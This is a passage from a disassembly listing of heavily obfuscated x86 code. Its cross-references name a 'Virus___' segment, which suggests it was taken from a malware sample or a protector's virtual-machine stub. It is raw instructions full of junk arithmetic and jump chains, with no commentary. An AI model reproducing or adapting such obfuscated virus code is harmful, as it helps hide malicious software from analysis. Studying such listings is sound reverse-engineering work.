eax, 1CB035BFh mov edi, [esp-2Eh+arg_2A] jmp loc_546377 ; --------------------------------------------------------------------------- loc_54999A: ; CODE XREF: sub_545A2B-FBBj mov eax, 3BA21C90h or ebp, eax pop eax dec ebp push 425Bh mov [esp-58h+arg_54], ebp not [esp-58h+arg_54] pop ebp xor ebp, 0A589C99Ch sub ecx, ebp jmp loc_54C0C4 ; --------------------------------------------------------------------------- loc_5499BC: ; CODE XREF: sub_545A2B+8D99j sub esp, 4 mov [esp-58h+arg_54], edx push ebx mov ebx, 27B6F4Bh jmp loc_54BDBE ; --------------------------------------------------------------------------- loc_5499D0: ; CODE XREF: sub_545A2B+49E7j xor eax, ecx jmp loc_548179 ; --------------------------------------------------------------------------- loc_5499D7: ; CODE XREF: sub_545A2B-28ECj pop ebx add esp, 4 push ebx mov bl, 43h or bl, 0AEh push edx mov dl, 1Ah jmp loc_54A596 ; --------------------------------------------------------------------------- loc_5499EC: ; CODE XREF: sub_545A2B+73BCj push [esp-2+arg_0+2] jmp loc_54578F ; --------------------------------------------------------------------------- loc_5499F5: ; CODE XREF: sub_545A2B+8031j xor edi, ecx pop ecx jmp loc_5460BC ; --------------------------------------------------------------------------- loc_5499FD: ; CODE XREF: sub_545A2B+422Ej mov [esp+0], esp add dword ptr [esp+0], 4 push dword ptr [esp+0] pop edi jmp loc_544BE9 ; --------------------------------------------------------------------------- loc_549A10: ; CODE XREF: sub_545A2B+5B50j add ebx, edx sub ebx, 8F62054h mov [ebx], al mov ebx, [esp+0] add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549A28: ; CODE XREF: sub_545A2B+7C44j pop eax push edx mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_549D78 ; --------------------------------------------------------------------------- loc_549A3E: ; CODE XREF: sub_545A2B+657Bj mov eax, [esp+0] jmp loc_54ED64 ; --------------------------------------------------------------------------- loc_549A46: ; CODE XREF: sub_545A2B+1557j pop ecx add edx, edi add edx, 2A273A8Dh add edx, 4E2F3589h mov [edx], eax mov edx, [esp-58h+arg_54] add esp, 4 push [esp-5Ch+arg_58] pop eax sub esp, 4 mov [esp-58h+arg_54], ecx push esp jmp loc_547B1E ; --------------------------------------------------------------------------- loc_549A6D: ; CODE XREF: sub_545A2B+6AEj sub eax, edx pop edx push 4666h jmp loc_5447DA ; --------------------------------------------------------------------------- loc_549A7A: ; CODE XREF: sub_545A2B+178Ej pop ebx xor edi, [esp-50h+arg_4C] xor [esp-50h+arg_4C], edi xor edi, [esp-50h+arg_4C] jmp loc_54D05D ; --------------------------------------------------------------------------- loc_549A89: ; CODE XREF: sub_545A2B+70F3j mov edi, 181312C0h mov edx, 181312C4h sub edx, edi mov edi, [esp-50h+arg_4C] add esp, 4 jmp loc_54C333 ; --------------------------------------------------------------------------- loc_549AA0: ; CODE XREF: sub_545A2B+518Fj sub edx, 757F823Eh inc edx jmp loc_54D86A ; --------------------------------------------------------------------------- loc_549AAC: ; CODE XREF: sub_545A2B+8AFBj add eax, 68A06A88h shl eax, 1 jmp loc_54B019 ; --------------------------------------------------------------------------- loc_549AB8: ; CODE XREF: sub_545A2B-3CEj sub bl, 0A6h pop eax push 2306h mov [esp-18h+arg_12+2], ecx jmp loc_54E22B ; --------------------------------------------------------------------------- loc_549AC9: ; CODE XREF: sub_545A2B+14B1j push ebx push [esp-0Ah+arg_A] jmp loc_5451A3 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6+arg_0+2] jmp loc_545289 ; --------------------------------------------------------------------------- loc_549ADC: ; CODE XREF: sub_545A2B+5B57j add edx, 4 jmp loc_54D938 ; --------------------------------------------------------------------------- loc_549AE7: ; CODE XREF: sub_545A2B+5310j push bx mov bh, 0Ah jmp loc_5490F5 ; --------------------------------------------------------------------------- loc_549AF0: ; CODE XREF: sub_545A2B+282j add edx, 58ED7464h jmp loc_545787 ; --------------------------------------------------------------------------- loc_549AFB: ; CODE XREF: sub_545A2B+4DEEj mov bh, ch pop ecx jmp loc_54539D ; --------------------------------------------------------------------------- loc_549B03: ; CODE XREF: sub_545A2B+7E76j push [esp-14h+arg_E+2] pop ebx add esp, 4 jmp loc_54DEEC ; --------------------------------------------------------------------------- loc_549B0F: ; CODE XREF: sub_545A2B+8643j add edx, eax sub edx, 0D1C7252h mov eax, [esp-18h+arg_12+2] jmp loc_54EEC8 ; --------------------------------------------------------------------------- loc_549B1F: ; CODE XREF: sub_545A2B+388j add ebx, eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-1Ah+arg_16] pop esp mov [esp-1Eh+arg_1A], edi mov edi, 22B93B61h not edi push eax mov eax, 5E633A9Bh dec eax neg eax jmp loc_548EEC ; --------------------------------------------------------------------------- loc_549B49: ; CODE XREF: sub_545A2B+6C93j push small 1663h mov word ptr [esp-18h+arg_12+2], ax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549B56: ; CODE XREF: sub_54D650-9D3Cj mov esp, [esp-18h+arg_12+2] and byte ptr [esp-18h+arg_12+2], al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549B62: ; CODE XREF: sub_545A2B+5174j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-14h+arg_E+2] pop esp add esi, 4 xor esi, [esp-18h+arg_12+2] xor [esp-18h+arg_12+2], esi jmp loc_544A46 ; --------------------------------------------------------------------------- loc_549B82: ; CODE XREF: sub_545A2B+8A67j pop esi push ecx mov ecx, 34217472h jmp loc_54374F ; --------------------------------------------------------------------------- loc_549B8E: ; CODE XREF: sub_545A2B+1DA8j mov ebx, 4 add edi, ebx jmp loc_54DDF6 ; --------------------------------------------------------------------------- loc_549B9A: ; CODE XREF: sub_545A2B+46C2j sub ebp, 70F62D53h push edx mov edx, 9D4595Dh neg edx xor edx, 2C111491h jmp loc_54E8D5 ; --------------------------------------------------------------------------- loc_549BB3: ; CODE XREF: sub_545A2B+64F8j not ebp sub ebp, 8B76C7BFh sub edi, ebp pop ebp dec edi add edi, 9F53BE55h add esi, 7CEF4663h jmp loc_54ECE9 ; --------------------------------------------------------------------------- loc_549BD0: ; CODE XREF: sub_545A2B+2C2Cj push ebp mov ebp, 6ACC5F9Dh sub ebp, 32033CF6h jmp loc_544A6E ; --------------------------------------------------------------------------- loc_549BE1: ; CODE XREF: sub_545A2B+462Dj push 3A4Dh mov [esp+0Eh+var_10+2], esi push ebx push edi push 3F4E3B74h jmp loc_5495AB ; --------------------------------------------------------------------------- loc_549BF5: ; CODE XREF: sub_545A2B+80FDj pop ecx add esp, 4 jmp loc_54E264 ; --------------------------------------------------------------------------- loc_549BFE: ; DATA XREF: Virus___:00542CF0o push 0 jmp loc_54BA9A ; --------------------------------------------------------------------------- loc_549C08: ; CODE XREF: sub_545A2B+6DC1j xor edx, 18646F1Fh jmp sub_54E80B ; --------------------------------------------------------------------------- loc_549C13: ; CODE XREF: sub_545A2B+11DDj push eax push esi mov esi, 35CD0117h sub esp, 4 jmp loc_54976C ; --------------------------------------------------------------------------- loc_549C22: ; CODE XREF: sub_545A2B+37CDj add [esp-3Ch+arg_36+2], 4 push [esp-3Ch+arg_36+2] mov esi, [esp-38h+arg_32+2] add esp, 4 add esp, 4 jmp loc_544075 ; --------------------------------------------------------------------------- loc_549C40: ; CODE XREF: sub_545A2B+5755j xor esi, 40006DE5h add esi, 0C4C47B5Ch mov edx, esi pop esi xor eax, edx push [esp-44h+arg_3E+2] pop edx push edi sub esp, 4 jmp loc_5499FD ; --------------------------------------------------------------------------- loc_549C5E: ; CODE XREF: sub_545A2B-70Fj push eax push ebx push eax jmp loc_5483BB ; --------------------------------------------------------------------------- loc_549C66: ; CODE XREF: sub_545A2B-2A17j pop ebp jmp loc_545152 ; --------------------------------------------------------------------------- loc_549C6C: ; CODE XREF: sub_545A2B+5772j mov ecx, ebx pop ebx xor ebp, ecx jmp loc_545671 ; --------------------------------------------------------------------------- loc_549C76: ; CODE XREF: sub_54D92A+4DCj mov eax, 0FB4C93CDh add ebp, eax pop eax add ebx, 6C251870h add ebx, ebp sub ebx, 6C251870h pop ebp push ecx mov ecx, 4 jmp loc_546EC5 ; --------------------------------------------------------------------------- loc_549C98: ; CODE XREF: sub_545A2B+515j pop ecx shl esi, 6 sub esi, 3B5B443Ch mov edx, esi pop esi add [esp-22h+arg_22], edx mov edx, [esp-22h+arg_1E] jmp loc_54D9F4 ; --------------------------------------------------------------------------- loc_549CB1: ; CODE XREF: sub_545A2B+605Dj push 3186h push esp pop [esp-1Ah+arg_16] add [esp-1Eh+arg_1A], 4 mov esi, [esp-1Eh+arg_1A] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_54DE84 ; --------------------------------------------------------------------------- loc_549CD5: ; CODE XREF: sub_545A2B+6A3Dj mov ebp, 7EC761EBh jmp loc_54C954 ; --------------------------------------------------------------------------- loc_549CDF: ; CODE XREF: sub_545A2B+4C43j pop esp mov [esp-1Eh+arg_1A], edx jmp loc_545A00 ; --------------------------------------------------------------------------- loc_549CE8: ; DATA XREF: Virus___:00542F1Co mov ax, word ptr [esp-1Eh+arg_1A] sub esp, 4 mov [esp-1Ah+arg_16], esi push esp mov esi, [esp-16h+arg_12] add esp, 4 push 6AF7h jmp loc_54DAA9 ; --------------------------------------------------------------------------- loc_549D06: ; CODE XREF: sub_545A2B+563Bj add ebx, 3F9F0F1Dh jmp loc_54D4D0 ; --------------------------------------------------------------------------- loc_549D11: ; CODE XREF: sub_545A2B+3975j mov eax, 23C2798Ah not eax jmp loc_548A87 ; --------------------------------------------------------------------------- loc_549D1D: ; CODE XREF: sub_545A2B+4D8Fj push esi mov esi, esp push 5543h jmp loc_54DCEA ; --------------------------------------------------------------------------- loc_549D2A: ; CODE XREF: sub_54331B+1E7Bj push esp pop eax push edx mov edx, 13C72B47h dec edx xor edx, 13C72B42h jmp loc_54C05F ; --------------------------------------------------------------------------- loc_549D3E: ; CODE XREF: sub_545A2B+AE4j push 1301h mov [esp-20h+arg_1A+2], eax mov al, 11h mov bl, 15h xor bl, al pop eax shl bl, 3 and bl, 0E3h jmp loc_54A05D ; --------------------------------------------------------------------------- loc_549D58: ; CODE XREF: sub_545A2B+25AEj pop [esp-14h+arg_E+2] pop esp mov [esp-1Ch+arg_16+2], ebp push edx mov edx, 1C50B31h mov ebp, 0FE3AF4D3h add ebp, edx pop edx sub ebx, 7FB40DBCh jmp loc_5494D3 ; --------------------------------------------------------------------------- loc_549D78: ; CODE XREF: sub_545A2B+400Ej push [esp-2+arg_0+2] pop edx pop dword ptr [esp+0] mov esp, [esp-6+arg_0+2] push ebx push esp pop ebx push eax mov eax, 4 add ebx, eax pop eax add ebx, 4 jmp sub_54D3EB ; --------------------------------------------------------------------------- loc_549D9A: ; CODE XREF: sub_545A2B+44F4j xor ebp, 28C160C9h sub ebp, 22487513h add ebp, 825249EFh add esi, ebp pop ebp pop ebp add esi, 4 jmp loc_547311 ; --------------------------------------------------------------------------- loc_549DBB: ; CODE XREF: sub_545A2B+6E08j push 617B3912h pop edi jmp loc_54BF80 ; --------------------------------------------------------------------------- loc_549DC6: ; CODE XREF: sub_545A2B+72A6j mov [esp-0Ah+arg_4+2], ebp jmp loc_54BE0A ; --------------------------------------------------------------------------- loc_549DCE: ; CODE XREF: sub_545A2B+7E03j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-0Ah+arg_4+2] mov esp, [esp-0Ah+arg_4+2] mov [esp-0Ah+arg_4+2], eax mov eax, 4 sub esi, eax pop eax xchg esi, [esp-0Eh+arg_A] mov esp, [esp-0Eh+arg_A] push 22D4h push esp pop [esp-6+arg_0+2] add [esp-0Ah+arg_4+2], 4 pop [esp-0Ah+arg_4+2] add [esp-0Eh+arg_A], 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549E0F: ; CODE XREF: sub_545A2B-17B7j add eax, 9DFB7D74h add edx, eax pop eax mov ecx, edx pop edx add ebp, ecx pop ecx add ebp, 4 xor ebp, [esp-2Eh+arg_2A] xor [esp-2Eh+arg_2A], ebp xor ebp, [esp-2Eh+arg_2A] pop esp add esp, 4 jmp loc_54AB83 ; --------------------------------------------------------------------------- loc_549E35: ; CODE XREF: sub_545A2B-1FBFj pop ecx add edx, edi pop edi jmp loc_546A82 ; --------------------------------------------------------------------------- loc_549E3E: ; CODE XREF: sub_5437F6+8j sub bh, 0A9h mov ah, bh pop ebx jmp loc_545989 ; --------------------------------------------------------------------------- loc_549E49: ; CODE XREF: sub_545A2B-23D6j mov eax, [esp-22h+arg_1E] add esp, 4 add eax, 4 jmp loc_5476E2 ; --------------------------------------------------------------------------- loc_549E59: ; DATA XREF: Virus___:00542D3Co push edx mov edx, 12D24BABh jmp loc_54A376 ; --------------------------------------------------------------------------- loc_549E64: ; CODE XREF: sub_545A2B+472Cj pop eax push eax mov eax, esp jmp loc_5489D0 ; --------------------------------------------------------------------------- loc_549E6D: ; CODE XREF: sub_545A2B+3A46j add ebp, 4 xchg ebp, [esp-16h+arg_12] mov esp, [esp-16h+arg_12] push ebp jmp loc_546A0D ; --------------------------------------------------------------------------- loc_549E7F: ; CODE XREF: sub_545A2B+2017j push 1886h mov [esp-26h+arg_22], edx jmp loc_549818 ; --------------------------------------------------------------------------- loc_549E8C: ; CODE XREF: sub_545A2B+73j pop edi jmp loc_547D27 ; --------------------------------------------------------------------------- loc_549E92: ; DATA XREF: Virus___:00542EECo push [esp-4+arg_0] mov eax, [esp+0] push edi mov edi, esp add edi, 4 push edx mov edx, 4 jmp loc_5448AC ; --------------------------------------------------------------------------- loc_549EAC: ; CODE XREF: sub_545A2B-1D93j xor [esp-38h+arg_32+2], ebx mov edx, [esp-38h+arg_32+2] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_54AE70 ; --------------------------------------------------------------------------- loc_549EC3: ; CODE XREF: sub_545A2B+57E1j pop eax neg dh push eax mov al, dh mov cl, al pop eax mov edx, [esp-38h+arg_32+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-34h+arg_2E+2] mov esp, [esp-34h+arg_2E+2] sub cl, 45h neg cl neg cl xor cl, 17h jmp loc_54B111 ; --------------------------------------------------------------------------- loc_549EF3: ; CODE XREF: sub_545A2B+4855j pop eax xchg bh, cl jmp loc_547ECC ; --------------------------------------------------------------------------- loc_549EFB: ; CODE XREF: sub_545A2B-87j or dl, al jmp loc_54EBC1 ; --------------------------------------------------------------------------- loc_549F02: ; CODE XREF: sub_5452D5+700j pop ebp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549F08: ; CODE XREF: sub_545A2B+91FEj push edi mov edi, 14EC6DAFh sub esi, edi pop edi add esi, ebp push ebp mov ebp, 81702A8h sub ebp, 6BF30A8Eh jmp loc_549D9A ; --------------------------------------------------------------------------- loc_549F24: ; CODE XREF: sub_545A2B-FF5j sub bl, 7Bh movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_549F2F: ; DATA XREF: Virus___:00542C84o mov ax, word ptr [esp-78h+arg_74] jmp sub_54E10B ; --------------------------------------------------------------------------- loc_549F38: ; CODE XREF: sub_543D76+8EDEj add esi, eax jmp loc_546086 ; --------------------------------------------------------------------------- loc_549F3F: ; CODE XREF: sub_545A2B+24D8j mov ebx, [esp-34h+arg_2E+2] add esp, 4 xor ecx, [esp-38h+arg_32+2] xor [esp-38h+arg_32+2], ecx xor ecx, [esp-38h+arg_32+2] mov esp, [esp-38h+arg_32+2] movsx cx, al push 36C3h mov [esp-34h+arg_2E+2], ecx push edx jmp loc_5471BE ; --------------------------------------------------------------------------- loc_549F63: ; CODE XREF: sub_545A2B+2EA4j sub esp, 4 mov [esp-48h+arg_42+2], edi jmp loc_5488D4 ; --------------------------------------------------------------------------- loc_549F71: ; CODE XREF: sub_545A2B+2029j add esi, ecx pop ecx add esi, 4 xchg esi, [esp-58h+arg_54] pop esp or eax, eax jz loc_549FCF push dword ptr [edi+1Ch] push 448Fh mov [esp-54h+arg_50], esi mov esi, 63D26D5Fh add [esp-54h+arg_54], esi pop esi jmp loc_5476BF ; --------------------------------------------------------------------------- loc_549F9D: ; CODE XREF: sub_545A2B+AEDj xor esi, [esp-2Ch+arg_26+2] xor [esp-2Ch+arg_26+2], esi jmp loc_544AEC ; --------------------------------------------------------------------------- loc_549FA8: ; CODE XREF: sub_545A2B+2ADBj pop ecx add [esp-18h+arg_12+2], 66DA430Eh add [esp-18h+arg_12+2], 6F2E4B9Ch jmp loc_543DB3 ; --------------------------------------------------------------------------- loc_549FBC: ; CODE XREF: sub_545A2B+56BEj pop esp jmp loc_5492D1 ; --------------------------------------------------------------------------- loc_549FC2: ; CODE XREF: sub_545A2B+6A53j push small 34A4h mov word ptr [esp-1Ah+arg_16], cx jmp loc_54A8C1 ; --------------------------------------------------------------------------- loc_549FCF: ; CODE XREF: sub_545A2B-A59j ; sub_545A2B+4552j push ebx xor [esp-24h+arg_1E+2], 246958E0h jmp loc_54AAC6 ; --------------------------------------------------------------------------- loc_549FDC: ; CODE XREF: Virus___:0054CE4Ej mov [esp-24h+arg_1E+2], ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_547A60 ; --------------------------------------------------------------------------- loc_549FEC: ; CODE XREF: sub_545A2B+74BAj add bl, cl pop cx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549FFB: ; CODE XREF: sub_545A2B-1F1j mov esi, 4E9C78D0h not esi jmp loc_54B508 ; --------------------------------------------------------------------------- loc_54A007: ; CODE XREF: sub_545A2B+6289j add ecx, 0ECA776Dh sub ecx, 71BD213Bh push eax push 36CB01E2h pop eax add ecx, eax pop eax sub ecx, 38530878h add ecx, edi add ecx, 38530878h sub ecx, 36CB01E2h add ecx, 71BD213Bh push eax mov eax, 0ECA776Dh sub ecx, eax pop eax push 595Dh mov [esp-34h+arg_2E+2], edx pop dword ptr [ecx] jmp loc_54EB3A ; --------------------------------------------------------------------------- loc_54A04F: ; CODE XREF: sub_545A2B+5AD8j sub esp, 4 mov [esp-34h+arg_2E+2], edx jmp loc_549BE1 ; --------------------------------------------------------------------------- loc_54A05D: ; CODE XREF: sub_545A2B+4328j not bl jmp loc_54C825 ; --------------------------------------------------------------------------- loc_54A064: ; CODE XREF: sub_545A2B-18F1j push edi mov edi, 175C418Dh not edi or edi, 67CB2186h sub edi, 1A1D404Ch and edi, 66A05EC7h sub edi, 0E4975A3Ch jmp loc_548A91 ; --------------------------------------------------------------------------- loc_54A089: ; CODE XREF: sub_545A2B-271Fj mov esi, 5A8E669Fh sub esp, 4 mov [esp-10h+arg_A+2], ebx mov ebx, 79041650h add ebx, 6DD3A789h add esi, ebx pop ebx mov edi, esi pop esi sub eax, edi pop edi sub eax, 605474BAh sub esp, 4 mov [esp-18h+arg_12+2], ebx mov ebx, 42BC661Bh push edi push ebx mov ebx, 4ECB1858h sub ebx, 723956FDh dec ebx jmp loc_5449E2 ; --------------------------------------------------------------------------- loc_54A0CB: ; CODE XREF: sub_545A2B+606Aj push esp jmp loc_54AD73 ; --------------------------------------------------------------------------- loc_54A0D1: ; CODE XREF: sub_545A2B+5184j add edi, ecx add edi, 70DF5282h pop ecx xchg edi, [esp-10h+arg_A+2] pop esp jmp loc_547761 ; --------------------------------------------------------------------------- loc_54A0E3: ; CODE XREF: sub_545A2B+5E97j or ebp, 285615A9h inc ebp shr ebp, 7 jmp loc_549B9A ; --------------------------------------------------------------------------- loc_54A0F2: ; DATA XREF: Virus___:00542CECo push dword ptr [edi+40h] jmp loc_54333F ; --------------------------------------------------------------------------- loc_54A0FA: ; CODE XREF: sub_545A2B+2DDCj mov ebp, [esp-46h+arg_42] jmp loc_5469E8 ; --------------------------------------------------------------------------- loc_54A102: ; CODE XREF: sub_545A2B-1AD6j and cl, 0A0h jmp loc_54AF86 ; --------------------------------------------------------------------------- loc_54A10A: ; CODE XREF: sub_545A2B+6093j mov ecx, 359C302Fh sub ecx, 445279EDh jmp loc_547516 ; --------------------------------------------------------------------------- loc_54A11A: ; CODE XREF: sub_545A2B+84FEj add esp, 4 mov esi, [esp-40h+arg_3A+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_544334 ; --------------------------------------------------------------------------- loc_54A137: ; CODE XREF: sub_545A2B+B45j add edx, ecx pop ecx jmp loc_547465 ; --------------------------------------------------------------------------- loc_54A13F: ; CODE XREF: sub_545A2B+7D12j pop eax xchg edi, [esp-18h+arg_12+2] pop esp mov [esp-1Ch+arg_16+2], ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_549E64 ; --------------------------------------------------------------------------- loc_54A15C: ; CODE XREF: sub_545A2B+2F1Ej pop ebp jmp loc_5474B4 ; --------------------------------------------------------------------------- loc_54A162: ; CODE XREF: sub_543A46+1557j sub esi, 4 push esi push [esp-2Ah+arg_2A] pop esi jmp loc_546497 ; --------------------------------------------------------------------------- loc_54A173: ; CODE XREF: sub_545A2B-2188j mov esi, esp push ecx mov ecx, 2694138Eh jmp loc_54DA61 ; --------------------------------------------------------------------------- loc_54A180: ; CODE XREF: sub_545A2B+4E6Bj sub esp, 4 mov [esp-24h+arg_1E+2], esp add [esp-24h+arg_1E+2], 4 pop edi sub esp, 4 mov [esp-24h+arg_1E+2], ebx mov ebx, 54D03F1Eh xor ebx, ecx xor ecx, ebx jmp loc_548CBF ; --------------------------------------------------------------------------- loc_54A1A2: ; CODE XREF: sub_545A2B+5EE0j add esp, 4 sub bl, cl pop cx add bl, 0AEh movzx eax, al push dword ptr [edi+eax*4] jmp loc_54D1C6 ; --------------------------------------------------------------------------- loc_54A1B7: ; CODE XREF: sub_545A2B+6EF3j push [esp-26h+arg_22] pop eax push ecx mov ecx, esp jmp loc_544A57 ; --------------------------------------------------------------------------- loc_54A1C3: ; CODE XREF: sub_545A2B+5BB2j mov ebp, 2 add edx, ebp mov ebp, [esp-22h+arg_1E] add esp, 4 xor edx, [esp-26h+arg_22] jmp loc_548F8B ; --------------------------------------------------------------------------- loc_54A1DB: ; CODE XREF: sub_545A2B+6234j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A1E0: ; CODE XREF: sub_545A2B+99F0j mov ebx, edi jmp loc_543C34 ; --------------------------------------------------------------------------- loc_54A1E7: ; CODE XREF: sub_545A2B+249Cj pop ecx jmp loc_549310 ; --------------------------------------------------------------------------- loc_54A1ED: ; CODE XREF: sub_545A2B+2D0Cj add ecx, 0AA07E36h not ecx add ecx, 0CB3C5745h mov edx, 0D8F6DB71h add edx, ecx pop ecx jmp loc_5486FE ; --------------------------------------------------------------------------- loc_54A208: ; CODE XREF: sub_545A2B+4E54j pop ecx mov cx, word ptr [esp-54h+arg_50] jmp loc_54E0B0 ; --------------------------------------------------------------------------- loc_54A212: ; CODE XREF: sub_545A2B-FEAj add esp, 2 not bl xchg bl, al add al, 34h jmp loc_547734 ; --------------------------------------------------------------------------- loc_54A220: ; CODE XREF: sub_545A2B+3F01j shl esi, 5 push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_544DAF ; --------------------------------------------------------------------------- loc_54A237: ; DATA XREF: Virus___:00542F0Co push [esp-3Eh+arg_3A] mov eax, [esp-3Ah+arg_36] add esp, 4 push 17C0h mov [esp-3Ah+arg_36], ebp mov ebp, esp push eax push edx mov edx, 1FEA14BFh mov eax, 0E015EB45h push edx mov edx, 581B76CCh or edx, 11B878A0h or edx, 2E7369B9h jmp loc_545509 ; --------------------------------------------------------------------------- loc_54A26D: ; CODE XREF: sub_545A2B+6777j mov ah, bl pop ebx pop edx jmp loc_5496F1 ; --------------------------------------------------------------------------- loc_54A276: ; CODE XREF: sub_545A2B-12FEj and al, 33h or al, 69h inc al sub al, 0FEh add cl, al jmp loc_549EF3 ; --------------------------------------------------------------------------- loc_54A285: ; CODE XREF: sub_545A2B+D3j add ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp jmp loc_549427 ; --------------------------------------------------------------------------- loc_54A291: ; CODE XREF: sub_545A2B+6844j push edx jmp loc_5459A9 ; --------------------------------------------------------------------------- loc_54A297: ; CODE XREF: sub_545A2B+572Fj shl edx, 1 xor edx, 0F57B703Ah jmp loc_544612 ; --------------------------------------------------------------------------- loc_54A2A4: ; CODE XREF: sub_545A2B+7540j mov edi, [esp+0Ch+var_C] jmp loc_546F3B ; --------------------------------------------------------------------------- loc_54A2AC: ; CODE XREF: sub_545A2B-B37j add bl, 43h not bl add bl, 0C6h push ecx jmp loc_54D268 ; --------------------------------------------------------------------------- loc_54A2BA: ; CODE XREF: sub_545A2B+5972j pop eax push dword ptr [ebx] xor [esp-16h+arg_12], 798929F3h pop ecx push ebp mov ebp, 798929F3h xor ecx, ebp pop ebp pop ebx push 737Ch mov [esp-1Ah+arg_16], edx mov edx, 7BF4589h push ebx jmp loc_54E1B1 ; --------------------------------------------------------------------------- push [esp-16h+arg_12] mov ecx, [esp-12h+arg_E] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-0Eh+arg_A] pop esp push ebp jmp loc_54306B ; --------------------------------------------------------------------------- loc_54A301: ; CODE XREF: sub_545A2B+3639j mov ebx, esp add ebx, 4 jmp loc_54CAF6 ; --------------------------------------------------------------------------- loc_54A30E: ; CODE XREF: sub_54DECB+1j mov ebp, edi mov esi, ebp jmp loc_5446E0 ; --------------------------------------------------------------------------- loc_54A317: ; CODE XREF: sub_545A2B+6343j xor eax, 176B4C64h or ebx, eax pop eax add ebx, 83C390F5h add eax, 4E7118ABh add eax, ebx jmp loc_5463D2 ; --------------------------------------------------------------------------- loc_54A331: ; CODE XREF: sub_545A2B+CB5j mov [esp-1Eh+arg_1A], ecx jmp loc_543F25 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp-22h+arg_1E], eax pushf jmp loc_54A4ED ; --------------------------------------------------------------------------- loc_54A347: ; CODE XREF: sub_545A2B+9A2j push 1B411209h pop ebp shr ebp, 7 and ebp, 2BD15944h sub ebp, 100003h mov ebx, ebp pop ebp add [eax], ebx push [esp-3Ch+arg_36+2] pop ebx add esp, 4 pop eax loc_54A36C: ; CODE XREF: sub_545A2B+81FEj push 377Dh jmp loc_544151 ; --------------------------------------------------------------------------- loc_54A376: ; CODE XREF: sub_545A2B+4434j sub edx, 1 dec edx not edx jmp loc_543B3A ; --------------------------------------------------------------------------- loc_54A384: ; CODE XREF: sub_545A2B-51Aj and edx, 2F55691h sub edx, 0E4D3DFB9h add eax, edx pop edx add eax, edx jmp loc_54C645 ; --------------------------------------------------------------------------- loc_54A39A: ; CODE XREF: sub_54537B+1Dj pop esp push edx push [esp-3Eh+arg_3E] pop edx pop [esp-3Eh+arg_3A] mov esp, [esp-42h+arg_3E] dec [esp-42h+arg_3E] pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A3B0: ; CODE XREF: sub_545A2B+645Aj xchg bl, cl not bl xchg bl, cl mov bh, cl jmp loc_545354 ; --------------------------------------------------------------------------- mov ecx, [esp-3Eh+arg_3A] jmp loc_54771F ; --------------------------------------------------------------------------- loc_54A3C5: ; CODE XREF: sub_545A2B+51F2j add edi, ebp pop ebp jmp sub_54E769 ; --------------------------------------------------------------------------- loc_54A3CD: ; CODE XREF: sub_545A2B+2AE5j mov [esp-10h+arg_A+2], esi push [esp-10h+arg_E+2] push dword ptr [esp+0] mov esi, [esp-8+arg_4] add esp, 4 jmp loc_54EA72 ; --------------------------------------------------------------------------- loc_54A3E5: ; CODE XREF: sub_545A2B+9118j pop eax push edi mov di, dx mov ax, di pop edi jmp loc_543E64 ; --------------------------------------------------------------------------- loc_54A3F3: ; CODE XREF: Virus___:00543572j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A3F8: ; CODE XREF: sub_545A2B+2C14j pop esi add esp, 4 add esi, 4 push ecx push eax mov eax, 49094775h push ecx mov ecx, 13132F8Dh jmp loc_5499D0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+4+var_4], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A427: ; CODE XREF: sub_545A2B+6CEDj mov [esp+8+var_8], edx push 4AB56F6Eh pop edx add eax, edx pop edx add eax, 2A795086h push ebp push eax mov eax, 262C55B8h jmp loc_543370 ; --------------------------------------------------------------------------- loc_54A444: ; CODE XREF: sub_545A2B+4CB0j movzx ecx, al jmp loc_544CD0 ; --------------------------------------------------------------------------- loc_54A44C: ; CODE XREF: sub_545A2B+377Dj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A451: ; CODE XREF: sub_545A2B+55DBj xor eax, ecx xchg eax, edx jmp sub_544B11 ; --------------------------------------------------------------------------- loc_54A459: ; CODE XREF: sub_54EE9E+1Bj mov [esp-0Eh+arg_A], edi mov edi, 307E1E26h jmp loc_546760 ; --------------------------------------------------------------------------- loc_54A466: ; CODE XREF: Virus___:00544700j add al, 97h jmp loc_547906 ; --------------------------------------------------------------------------- loc_54A46D: ; CODE XREF: sub_545A2B+1283j shl cl, 8 shl cl, 5 push dx jmp loc_54821C ; --------------------------------------------------------------------------- loc_54A47A: ; CODE XREF: sub_545A2B+C60j sub ebp, 44B01C38h xor ebp, 9D2A61A9h add esi, ebp pop ebp push edx mov edx, 4 add esi, edx pop edx xor esi, [esp-44h+arg_3E+2] xor [esp-44h+arg_3E+2], esi jmp loc_54D349 ; --------------------------------------------------------------------------- loc_54A49D: ; CODE XREF: sub_545A2B+54ECj xor ecx, 804CBF8h sub eax, ecx pop ecx neg eax add eax, 9F1C276Bh push eax mov ecx, [esp-44h+arg_3E+2] add esp, 4 jmp loc_54D6EE ; --------------------------------------------------------------------------- loc_54A4B9: ; CODE XREF: 